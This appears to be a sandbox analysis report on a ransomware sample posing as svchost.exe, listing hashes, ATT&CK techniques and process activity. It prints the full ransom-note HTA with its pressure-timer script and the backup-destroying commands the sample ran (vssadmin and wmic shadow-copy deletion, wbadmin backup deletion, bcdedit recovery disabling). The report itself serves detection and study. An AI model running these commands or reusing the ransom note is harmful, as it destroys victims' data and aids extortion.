8e7393013f240334efe2ca52c8a3554628c479becab2b691d114e1e8b3ccd51d

General

Target

svchost.exe
Size

213KB
MD5

39f34aa65e3a95a53f3ec0675fc37905
SHA1

b8206089a3841464c72ee695951854dfe08a82cd
SHA256

8e7393013f240334efe2ca52c8a3554628c479becab2b691d114e1e8b3ccd51d
SHA512

7c45d8ba6f080cccaaa3c663d44a796c077f786f48cd392bcb9fa7e60d3b424aa90ecb1ed3c1c810b1607610db42a59eb0a9cc452579e454ca6443b2b249b2cb

Score

10^/10

discovery ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Public\Desktop\how_to_decrypt.hta

Ransom Note

ENCRYPTED 11100001111011111111100001111011111100 Time left for payment All your documents, databases, backups, and other critical files were encrypted. Our software used the AES cryptographic algorithm (you can find related information in Wikipedia). It happened because of security problems on your server, and you cannot use any of these files anymore. The only way to recover your data is to buy a decryption key from us. To do this, please send your unique ID to the contacts below. E-mail: copy Unique ID: copy Right after payment, we will send you a specific decoding software that will decrypt all of your files. If you have not received the response within 24 hours, please contact us by e-mail %RESERVE_CONTACT% . We've copied all of your documents, databases, and other essential files. If you try to cheat us or do anything else besides our offer, we'll use the info we have against you. The price depends on how soon you will contact us. You have only four days to make the right choice! If we won't receive your payment within this period, your domain network can be attacked again. Hurry up! Attention! ! Do not try to recover files yourself. this process can damage your data and recovery will become impossible. ! Do not waste time trying to find the solution on the Internet. The longer you wait, the higher will become the decryption key price. ! Do not contact any intermediaries. They will buy the key from us and sell it to you at a higher price. What guarantees do you have? Before payment, we can decrypt three files for free. The total file size should be less than 5MB (before archiving), and the files should not contain any important information (databases, backups, large tables, etc.) var max_discount = 50; var start_date = new Date('January 16 2022 03:14:59'); var discount_date = new Date('January 19 2022 03:14:59'); var end_date = new Date('January 21 2022 03:14:59'); var main_contact = '[email protected]'; var hid = '[82BF4026-2CF0DA92]'; var second_contact = '[email protected]'; var sd = end_date; var dn = new Date(); var zoc, ddGlobal; function document.onblur() { alert('Attention! This important information for you!'); } function setContacts() { document.getElementById('main_contact').innerHTML = main_contact; document.getElementById('second_contact').innerHTML = second_contact; document.getElementById('hid').innerHTML = hid; } function countDiscount() { var term_current = new Date().getTime() - start_date.getTime(); var term_full = discount_date.getTime() - start_date.getTime(); var delta = discount_date.getTime() - new Date().getTime(); delta = new Date(delta); var dt = document.getElementById('pwr'); var timer_discount = document.getElementById('timer_discount'); var discount = document.getElementById('discount'); var hours_to_end = Math.floor(term_full / 1000 / 3600); var hours_current = Math.floor(term_current / 1000 / 3600); if (discount_date.getTime() > dn.getTime()) { var disc_per_hour = parseFloat(max_discount / hours_to_end).toFixed(2); var cur_discount = Math.floor(max_discount - (disc_per_hour * hours_current)); if (discount) { discount.innerHTML = cur_discount + '% discount'; } } if (cur_discount <= 25) { dt.style.cssText = 'border: 1px solid #FFC000;'; if (timer_discount) { timer_discount.style.background = '#FFC000'; } } if (sd.getTime() < dn.getTime() || cur_discount < 5) { dt.style.cssText = 'border: 1px solid #F53636; background-color: #F53636; padding: 16px 20px;'; dt.innerHTML = '<div style="font-size: 16px; color: #ffffff; text-align: center; display: block; font-weight: bold;">Decryption key can be bought at standard cost.</div><div style="font-size: 13px; color: #fff; text-align: center; margin-top: 10px">You need to hurry up to decrypt your data because all your files will be destroyed soon.</div>'; } var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } if (timer_discount) { timer_discount.innerHTML = dd + ' ' + hh+':'+mm+':'+ss; } } function ChangeTime() { var sd = end_date; var dn = new Date(); if (sd.getTime() < dn.getTime()) { var dt = document.getElementById('lctw'); dt.innerHTML = '<b>Soon, you won\'t be able to decrypt your files. Contact us immediately!</b>'; dt.style.cssText = 'background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px; text-align: center; font-size: 20px;'; zoc = 2; } else { var delta = sd.getTime() - dn.getTime(); delta = new Date(delta); var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); ddGlobal = parseInt(dd); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } var dt = document.getElementById('file_lost'); if (dt) { dt.innerHTML= dd+'     '+hh+':'+mm+':'+ss; } } } var count = 100, interval = 10, intervalID; function blink() { if (ddGlobal == 0 && zoc != 2) { var dt = document.getElementById('file_lost'); var dt2 = document.getElementById('text_file_lost'); var test = document.getElementById('test'); if (count == 100) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count - 2; if (count == 20) clearInterval(intervalId); }, interval); } if (count == 20) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count + 2; if (count == 100) clearInterval(intervalId); }, interval); } } } function getRandomArbitrary(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min)) + min; } function Rndom() { var dt=document.getElementById('rc'); var xx=''; var i=0; while (i < 40) { xx=xx+getRandomArbitrary(0,2); i=i+1; } rc.innerHTML= xx; } function Start() { window.resizeTo(850,720); setContacts(); //ChangeTime(); //setInterval(ChangeTime, 1000); //countDiscount(); //setInterval(countDiscount, 1000); setInterval(blink, 100); setInterval(Rndom,100); } function copytext(s) { window.clipboardData.setData("Text",s); alert(s+' copied to clipboard'); } function Restart() { alert('Attention! This important information for you!'); } var countDownDate = new Date().getTime() + 345600000; var x = setInterval(function() { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("timer").innerHTML = days + "d " + hours + "h " + minutes + "m " + seconds + "s "; if (distance < 0) { clearInterval(x); document.getElementById("timer").innerHTML = "EXPIRED"; } }, 1000);

Emails

[email protected]

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

svchost.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\InvokePush.tiff	svchost.exe
File opened for modification	\??\c:\users\admin\pictures\SearchSync.tiff	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

520 vssadmin.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

pid	process
520	vssadmin.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 2 IoCs

Processes:

rundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

svchost.exe

pid process

976 svchost.exe
976 svchost.exe

pid	process
976	svchost.exe
976	svchost.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

vssvc.exeWMIC.exe

description	pid	process
Token: SeBackupPrivilege	1048	vssvc.exe
Token: SeRestorePrivilege	1048	vssvc.exe
Token: SeAuditPrivilege	1048	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeSecurityPrivilege	1964	WMIC.exe
Token: SeTakeOwnershipPrivilege	1964	WMIC.exe
Token: SeLoadDriverPrivilege	1964	WMIC.exe
Token: SeSystemProfilePrivilege	1964	WMIC.exe
Token: SeSystemtimePrivilege	1964	WMIC.exe
Token: SeProfSingleProcessPrivilege	1964	WMIC.exe
Token: SeIncBasePriorityPrivilege	1964	WMIC.exe
Token: SeCreatePagefilePrivilege	1964	WMIC.exe
Token: SeBackupPrivilege	1964	WMIC.exe
Token: SeRestorePrivilege	1964	WMIC.exe
Token: SeShutdownPrivilege	1964	WMIC.exe
Token: SeDebugPrivilege	1964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1964	WMIC.exe
Token: SeRemoteShutdownPrivilege	1964	WMIC.exe
Token: SeUndockPrivilege	1964	WMIC.exe
Token: SeManageVolumePrivilege	1964	WMIC.exe
Token: 33	1964	WMIC.exe
Token: 34	1964	WMIC.exe
Token: 35	1964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeSecurityPrivilege	1964	WMIC.exe
Token: SeTakeOwnershipPrivilege	1964	WMIC.exe
Token: SeLoadDriverPrivilege	1964	WMIC.exe
Token: SeSystemProfilePrivilege	1964	WMIC.exe
Token: SeSystemtimePrivilege	1964	WMIC.exe
Token: SeProfSingleProcessPrivilege	1964	WMIC.exe
Token: SeIncBasePriorityPrivilege	1964	WMIC.exe
Token: SeCreatePagefilePrivilege	1964	WMIC.exe
Token: SeBackupPrivilege	1964	WMIC.exe
Token: SeRestorePrivilege	1964	WMIC.exe
Token: SeShutdownPrivilege	1964	WMIC.exe
Token: SeDebugPrivilege	1964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1964	WMIC.exe
Token: SeRemoteShutdownPrivilege	1964	WMIC.exe
Token: SeUndockPrivilege	1964	WMIC.exe
Token: SeManageVolumePrivilege	1964	WMIC.exe
Token: 33	1964	WMIC.exe
Token: 34	1964	WMIC.exe
Token: 35	1964	WMIC.exe

Suspicious use of FindShellTrayWindow 46 IoCs

Processes:

mshta.exe

pid	process
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe
6464	mshta.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

svchost.execmd.execmd.exe

description	pid	process	target process
PID 976 wrote to memory of 584	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 584	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 584	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 584	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 776	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 776	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 776	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 776	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1380	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1380	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1380	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1380	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1356	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1356	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1356	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1356	976	svchost.exe	cmd.exe
PID 584 wrote to memory of 520	584	cmd.exe	vssadmin.exe
PID 584 wrote to memory of 520	584	cmd.exe	vssadmin.exe
PID 584 wrote to memory of 520	584	cmd.exe	vssadmin.exe
PID 584 wrote to memory of 520	584	cmd.exe	vssadmin.exe
PID 976 wrote to memory of 824	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 824	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 824	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 824	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1224	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1224	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1224	976	svchost.exe	cmd.exe
PID 976 wrote to memory of 1224	976	svchost.exe	cmd.exe
PID 1356 wrote to memory of 1964	1356	cmd.exe	WMIC.exe
PID 1356 wrote to memory of 1964	1356	cmd.exe	WMIC.exe
PID 1356 wrote to memory of 1964	1356	cmd.exe	WMIC.exe
PID 1356 wrote to memory of 1964	1356	cmd.exe	WMIC.exe

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "vssadmin delete shadows /all /quiet"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:520
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0"
  2⤵
  PID:776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "wbadmin DELETE BACKUP -keepVersions:0"
  2⤵
  PID:1380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "wmic SHADOWCOPY DELETE"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic SHADOWCOPY DELETE
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} recoveryenabled No"
  2⤵
  PID:824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
  2⤵
  PID:1224

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1048

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Windows Explorer.lnk[[email protected]].[82BF4026-2CF0DA92]
1⤵
- Modifies registry class
PID:5228

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Desktop\how_to_decrypt.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:6464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

Modify Registry

Credential Access

Credentials in Files

1

T1081

Discovery

Network Service Scanning

1

T1046

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

2

T1490

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Downloads

C:\Users\Public\Desktop\how_to_decrypt.hta

Filesize
13KB

MD5
84f412c9fd3f32ed12871878f9cfb97b

SHA1
8b4fe81a95a4ec80695788b3668911ed0840bdde

SHA256
0877cff3c9c4192c9e8a2a14c17122aa27a876d63c798dbbfe6bca867a5a800f

SHA512
d716168985f10523817af8c7c32e74ed422a9cb924865852b2d9f261e77372ca3ed19332939e6ad8bd04e1c8783485abf82e9bce37e2f1cb74a5c6e10a5d5d21

Download Submit
memory/520-59-0x0000000000000000-mapping.dmp

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memory/584-55-0x0000000000000000-mapping.dmp

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memory/776-56-0x0000000000000000-mapping.dmp

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memory/824-60-0x0000000000000000-mapping.dmp

Download
memory/976-54-0x0000000076491000-0x0000000076493000-memory.dmp

Filesize
8KB

Download
memory/1224-61-0x0000000000000000-mapping.dmp

Download
memory/1356-58-0x0000000000000000-mapping.dmp

Download
memory/1380-57-0x0000000000000000-mapping.dmp

Download
memory/1964-62-0x0000000000000000-mapping.dmp

Download
memory/5228-63-0x000007FEFC451000-0x000007FEFC453000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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